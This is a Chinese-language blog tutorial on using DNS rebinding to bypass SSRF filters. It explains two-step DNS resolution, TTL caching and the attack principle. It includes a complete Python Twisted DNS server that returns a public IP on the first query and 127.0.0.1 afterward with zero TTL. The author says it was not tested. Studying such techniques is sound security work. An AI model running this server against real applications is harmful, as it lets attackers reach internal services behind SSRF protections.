DNS Rebinding Attack 绕过SSRF限制

简介: DNS Rebinding Attack 绕过SSRF限制

0x00 一般SSRF过滤

SSRF过滤器的方式大致是以下几个步骤:

  1. 获取到输入的URL,从该URL中提取Host
  2. 对该Host进行DNS解析,获取到解析的IP
  3. 检测该IP是否是合法的,比如是否是私有IP等
  4. 如果IP检测为合法的,则进入curl的阶段发包

我们从DNS解析的角度看,该检测方式一共有两次,第一次是步骤2中对该host进行DNS解析,第二次是使用curl发包的时候进行解析。这两次DNS解析存在时间差,这就是利用的地方。

0x01 什么是TTL

时间差对应的DNS中的机制是TTL

TTL是英语Time-To-Live的简称,意思为一条域名解析记录在DNS服务器中的存留时间。当各地的DNS服务器接受到解析请求时,就会向域名指定的NS服务器发出解析请求从而获得解析记录;在获得这个记录之后,记录会在DNS服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向NS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。

TTL表示DNS里面域名和IP绑定关系的Cache在DNS上存活的最长时间。即请求了域名与iP的关系后,请求方会缓存这个关系,缓存保持的时间就是TTL。而缓存失效后就会删除,这时候如果重新访问域名指定的IP的话会重新建立匹配关系及cache。

0x02 攻击原理

在上面的过滤流程中,其实只有第一次的DNS解析是是否合法的检查,第二次是发起具体请求的DNS解析,如果在DNS第二次curl时进行解析的时候,我们能够更换URL对应的IP,同时当然要设置够短的TTL,那么在TTL之后、缓存失效之后,重新访问此URL,就能获取被更换后的IP。如果我们把第一次解析的IP设为合法IP,就能绕过Host合法性检查了;把第二次解析的IP设为内网IP,就达到了SSRF访问内网的目的。

所以结论就是:DNS Rebinding Attack的原理是:利用服务器两次解析同一域名的短暂间隙,更换域名背后的IP达到突破一些防护限制进行SSRF攻击。

0x03 实现方式

Bendawang 的文章总结了三种实现方法:

  1. 特定域名实现
  2. 简单粗暴的两条A记录
  3. 自建DNS服务器

了解详情可以点击:原文链接

下面我来介绍一下相对来说最好用的方法,就是自建DNS服务器。

首先设置一个域名的A记录,假如IP为233.233.233.233,那我们就需要在这台服务器上开启DNS服务,

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
   def _doDynamicResponse(self, query):
       name = query.name.name
       if name not in record or record[name]<1:
           ip="166.166.166.166"
       else:
           ip="127.0.0.1"
       if name not in record:
           record[name]=0
       record[name]+=1
       print name+" ===> "+ip
       answer = dns.RRHeader(
           name=name,
           type=dns.A,
           cls=dns.IN,
           ttl=0,
           payload=dns.Record_A(address=b'%s'%ip,ttl=0)
      )
       answers = [answer]
       authority = []
       additional = []
       return answers, authority, additional
   def query(self, query, timeout=None):
       return defer.succeed(self._doDynamicResponse(query))
def main():
   factory = server.DNSServerFactory(
       clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
  )
   protocol = dns.DNSDatagramProtocol(controller=factory)
   reactor.listenUDP(53, protocol)
   reactor.run()
if __name__ == '__main__':
   raise SystemExit(main())

参考



最后,推荐一下Typora这个Markdown编辑器,很适合写作,再配合Picgo+Gitee作为图床写东西很方便

在遇到特定情况的时候,这个方法还是值得一用的,本文并未实际搭建环境进行测试。实际情况需准备自己的域名进行搭建。

0x04 总结

这个脚本可以做到第一次请求时返回外网地址,也就是SSRF过滤中第一次安全检查可以成功通过,在第二次请求的时候,TTL为0,返回内网地址。(⚠️需要安装python的twisted库)

相关文章
|
Web App开发 缓存 网络协议
【SEED Labs】DNS Rebinding Attack Lab
【SEED Labs】DNS Rebinding Attack Lab
499 0
|
网络协议 安全
运用DNS绕过安全设备的Oday.
一、DNS介绍DNS域名系统是互联网关键的基础设施之一,它是一个将域名与IP地址互相映射的全球分布数据库。对于恶意DNS的过滤、检测恶意网站域名、僵尸网络和网络隐秘通道发现是安全防护设备中必不可少的一种手段。
1237 0
|
网络协议 Linux C#
NativePayload_DNS,通过DNS流量,绕过防病毒传输后门
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396319 传送门 注意标点符号,必须是英文的。
1524 0
|
监控 Java 应用服务中间件
高级java面试---spring.factories文件的解析源码API机制
【11月更文挑战第20天】Spring Boot是一个用于快速构建基于Spring框架的应用程序的开源框架。它通过自动配置、起步依赖和内嵌服务器等特性,极大地简化了Spring应用的开发和部署过程。本文将深入探讨Spring Boot的背景历史、业务场景、功能点以及底层原理,并通过Java代码手写模拟Spring Boot的启动过程,特别是spring.factories文件的解析源码API机制。
392 2
|
10月前
|
算法 测试技术 C语言
深入理解HTTP/2:nghttp2库源码解析及客户端实现示例
通过解析nghttp2库的源码和实现一个简单的HTTP/2客户端示例,本文详细介绍了HTTP/2的关键特性和nghttp2的核心实现。了解这些内容可以帮助开发者更好地理解HTTP/2协议,提高Web应用的性能和用户体验。对于实际开发中的应用,可以根据需要进一步优化和扩展代码,以满足具体需求。
955 29
|
10月前
|
前端开发 数据安全/隐私保护 CDN
二次元聚合短视频解析去水印系统源码
二次元聚合短视频解析去水印系统源码
423 4
|
10月前
|
JavaScript 算法 前端开发
JS数组操作方法全景图,全网最全构建完整知识网络!js数组操作方法全集(实现筛选转换、随机排序洗牌算法、复杂数据处理统计等情景详解,附大量源码和易错点解析)
这些方法提供了对数组的全面操作,包括搜索、遍历、转换和聚合等。通过分为原地操作方法、非原地操作方法和其他方法便于您理解和记忆,并熟悉他们各自的使用方法与使用范围。详细的案例与进阶使用,方便您理解数组操作的底层原理。链式调用的几个案例,让您玩转数组操作。 只有锻炼思维才能可持续地解决问题,只有思维才是真正值得学习和分享的核心要素。如果这篇博客能给您带来一点帮助,麻烦您点个赞支持一下,还可以收藏起来以备不时之需,有疑问和错误欢迎在评论区指出~
|
10月前
|
移动开发 前端开发 JavaScript
从入门到精通:H5游戏源码开发技术全解析与未来趋势洞察
H5游戏凭借其跨平台、易传播和开发成本低的优势,近年来发展迅猛。接下来,让我们深入了解 H5 游戏源码开发的技术教程以及未来的发展趋势。

热门文章

最新文章

推荐镜像

更多
  • DNS